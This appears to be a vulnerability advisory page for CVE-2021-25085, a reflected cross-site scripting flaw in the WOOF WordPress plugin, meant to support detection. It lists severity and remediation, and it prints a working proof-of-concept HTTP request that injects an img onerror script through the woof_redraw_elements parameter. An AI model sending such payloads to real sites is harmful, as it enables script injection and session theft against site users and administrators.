🔙 목록으로 돌아가기

CVE-2021-25085: WOOF WordPress plugin - Cross-Site Scripting

TitleWOOF WordPress plugin - Cross-Site Scripting
AuthorMaximus Decimus
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.03204
CVE IDCVE-2021-25085
CWE IDCWE-79
Tags cve2021 cve wordpress wp-plugin wp xss wpscan pluginus vuln

🔍 Vulnerability Description

The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25085.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25085.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A